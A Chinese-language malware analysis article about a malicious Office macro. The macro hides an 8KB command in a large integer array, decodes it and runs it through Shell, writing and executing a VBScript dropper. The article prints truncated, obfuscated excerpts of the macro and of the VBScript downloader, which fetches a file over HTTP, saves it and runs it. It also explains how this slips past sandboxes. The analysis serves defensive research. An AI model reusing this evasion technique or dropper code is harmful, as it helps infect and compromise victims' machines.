首页 网络安全 安全学院 查看内容

在恶意软件的宏中插入8KB单个命令行

2016-3-1 11:20 2947 0

摘要: 几天前,有人给我了一个奇怪的恶意宏样本,这个样本无法被在线的沙盒和普通工具检测到。0×01提取并分析宏这个vbaProject.bin文件是从Word或者Excel2007+文档(.docm或xlsm)中提取出来的典型的包含宏的OLE文件。使 ...

几天前, 有人 给我 了 一个奇怪的恶意宏样本,这个样本 无法 被在线的沙盒和普通工具检测到。

0×01  提取并分析宏

这个 vbaProject.bin 文件是从 Word 或者 Excel2007+ 文档( .docm 或 xlsm )中提取出来的典型的包含宏的 OLE 文件。使用 olevba 或者 oledump 可以很简单的提取出宏的源代码。

olevba 0.42 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OLE:MAS-HBDV 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin
 
(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, TXT=Text, M=Macros, A=Auto-executable, 
S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
 
===============================================================================
FILE: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dim VoZoOxr6Mn(2034) As Long
Sub ThhoJh8NX()
DVZm8YVrQMiwo = RGB(57, 72, 52)
Join KwTfhyp, 32
BPo78vzethyYE = Cos(10)
Randomize
FreeFile 8
KkqgXNfZvN = Dir("CnK5tkVQz")
Choose 81, D9v2bgkWjrqDrfD0
[...]
If TumGFv7Hqd8 = 0 Then Exit Function
NSNhOVv50b = RGB(77, 46, 66)
Mu4XjE = TumGFv7Hqd8 - 1
JIHddd7uli8P0PIH = RGB(54, 93, 48)
End Function
+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Document_Open        | Runs when the Word document is opened   |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |

这个确实比较独特:宏的代码相当长,但是被 olevba 检测出可疑的命令是“ shell ”。

然而,一个典型的宏在执行它的 shell 前,需要向文件中写入 payload 。并且大部分情况下,需要从网上下载 payload 。

对代码进行分析后,发现也没有多余的命令去下载或者向磁盘中写入文件。

这就意味着,这个宏既没有释放 payload 从而通过 shell 命令去执行,也没有从网上下载 payload 或者其他应用程序 /dll 文件。

这个代码包含了 2034 个整型数组:

Dim VoZoOxr6Mn(2034) As Long

VoZoOxr6Mn(0) = 432433934

VoZoOxr6Mn(1) = 350786839

VoZoOxr6Mn(2) = -931457408

VoZoOxr6Mn(3) = 1263351013

VoZoOxr6Mn(4) = -934508713

VoZoOxr6Mn(5) = -1080386174

VoZoOxr6Mn(6) = -1982250533

VoZoOxr6Mn(7) = 643917765

[...]

VoZoOxr6Mn(2027) = 1872082481

VoZoOxr6Mn(2028) = -84289746

VoZoOxr6Mn(2029) = 228930248

VoZoOxr6Mn(2030) = -747395805

VoZoOxr6Mn(2031) = 905736327

VoZoOxr6Mn(2032) = 684154832

VoZoOxr6Mn(2033) = 740288

VoZoOxr6Mn(2034) = 0

更重要的是,一些函数通过解码算法可以将这些数组转化成字符串。并将其结果作为“ shell ”命令行的命令。

刚开始我尝试手动分析这些代码,分析出是如何将这些数组解码成实际的 payload。但是这个太耗费时间了。

0×02  运行宏指令

后来我尝试将宏指令转化成 VBScript ,然后使用 cscript.exe 来运行。但是 我发现代码使用了大量特殊的 VBA 解释器,而这些又不被 VBScript 支持。

于是我只好使用 最后一个方法 : 我将这些宏指令导入 Windows 平台上一个空的Word 文档中, 然后将 其粘贴至 VB editor 。

当然在没有被感染的情况下我还是无法执行代码。因此我将 shell 命令注释掉,用“Selection.TypeText” 来替换它,采用相同的字符串变量作为参数 , 如下所示。这么做将会向 Word 文档中嵌入文本字符串,而不是执行命令。

在执行完宏之后,神秘的 payload 就会在 word 文档中出现:

[ 中间省略 ]

因此这个证实了第一个假设:这 2034 个整型( 32bit )数组转化成 8KB 的字符串,这个字符串就是命令,最后被 VBA 的 shell 执行。

0×03 VBScript payload

这些命令调用 cmd.exe 进程处理一系列长长的双引号字符串。每个字符串作为一行添加到名字为 “%appdata%\!TQJZEIfjEY0vjO!.vbs” 的文件中。最终, VBScript 文件被执行。

为了获得 VBScript 的代码,将命令拷贝至记事本中,将每个双引号用换行符来代替:

Dim Hn0VG8Jim,VSbjXB1Tb
 
Sub CFUmNNN5l()
  M00rlg9loD=RGB(83,25,28)
  On Error Resume Next
  GTLwPQK72oc=RGB(56,27,14)
  dim YdhC58CSw,S4xM6Wpkdj6D,W214qCaiT,UmenL52bDf
  TI8WZPiK2i=RGB(75,30,67)
  UmenL52bDf="OQDUQMXOh"
  YCFFjOyYD=RGB(22,52,15)
  YdhC58CSw=SeHoavimVzFK("5D3C0102521B60423F025C055D2C4727061D0E4061562718","O5Hurh4")
  KvUeCMforHxs=RGB(21,30,56)
  Set S4xM6Wpkdj6D=CrEaTeoBJEct(SeHoavimVzFK("1C2D3623222B200E3B7F1C181D050C1B38",UmenL52bDf))
  MIgVQA=RGB(21,18,27)
  S4xM6Wpkdj6D.OPen SeHoavimVzFK("150D2E","GRHzZoXg"),YdhC58CSw,0
  Ugty62w=RGB(77,50,3)
  S4xM6Wpkdj6D.sETreqUESThEadER SeHoavimVzFK("1F16341613","AMwZqvb3btB6P"),SeHoavimVzFK("00094332007C51421A","Abp7Ws")
  HI8mQ5YcSR=RGB(35,89,98)
  S4xM6Wpkdj6D.seNd()
  W8tEI9rZq6HfsXOEj=RGB(12,23,15)
  If S4xM6Wpkdj6D.STatUsText<>SeHoavimVzFK("3C5007260E221B45013B0245103C13","Tl1uRgCweB") Then KNC3TSAdM4WQx4G1
  G5wuCfP7vda=RGB(10,14,76)
End Sub
[...]
Set BFxKNR=CReaTeoBJect(SeHoavimVzFK("102327283762363B0B5D5738",GoOVIULOEKamGtAZ))
EitKzH0Nuwg=RGB(24,75,19)
BFxKNR.OPen
U2OqQ3cjPxXD=RGB(44,89,79)
BFxKNR.TYpE=1
SxuTPuwwZ68O0in=RGB(15,41,61)
BFxKNR.Write CVAWAyYGiQ
EUBn1YwiceF=RGB(14,43,29)
BFxKNR.saveTOFILE Hn0VG8Jim,(0.5 + 807 + 0.5 - 807 + 0.5 + 807 + 0.5 - 807)
IbBRwzqI7UqO9JPb3=RGB(79,82,1)
BFxKNR.clOse
JxtY72rJ2OVT=RGB(22,29,35)
Se21YcvBiRU9OKH6(2)
PjpK6qckc=RGB(96,56,3)
VSbjXB1Tb=Hn0VG8Jim
JPLDZf6lJnt5T=RGB(24,63,45)
Hn0VG8Jim=Hn0VG8Jim & LCpqU9MOnkVtOl & SeHoavimVzFK("621F1515","SLzmp")
YNUoCl5R9=RGB(21,60,82)
Ya5kQ1Uf5rf VSbjXB1Tb,Hn0VG8Jim,SeHoavimVzFK("095B51546B00","Th92eY3Ha")
W1H46j8jP=RGB(46,77,58)
LOSKRvzUGjsz
Dctbq6sdzPJ=RGB(87,23,58)
End Sub

这个 VBScript 的脚本同样很迷乱,但是现在却比较容易分析。我会在随后的博客中将其转换一下。

0×04  相似的样本

这里 使用我之前文章“ How to find malware samples containing specific strings”中的 自定义搜索引擎方法 , 就可以 查找与宏代码中相似字符串的样本。例如,使用数组名“ VoZoOxr6Mn ”,我发现两个样本:

d3e1735b9257ab0a578b375f01303b541786da18b5971d7c146b65886543b666:显示具有相同宏源码,但是没有VBS payload.

95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9:相同的宏,但是这里存在命令行,VBS payload以及相应的行为分析。

因此采用这种搜索方法,我可以更快的找到相同的结果。

0×05  结论

这个包含宏的神秘文件,通过解码让人迷惑的整型数组来构造 8KB 的字符串。这个字符串实际上就是启动 cmd.exe 的命令,随后通过循环的方式一行一行构建 VBScript文件,最终执行它。

同时还显示一个宏除了简单的 ” Shell ” 命令而不包括任何可疑的关键字,完全可以释放嵌入在宏中的 Payload 。

声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部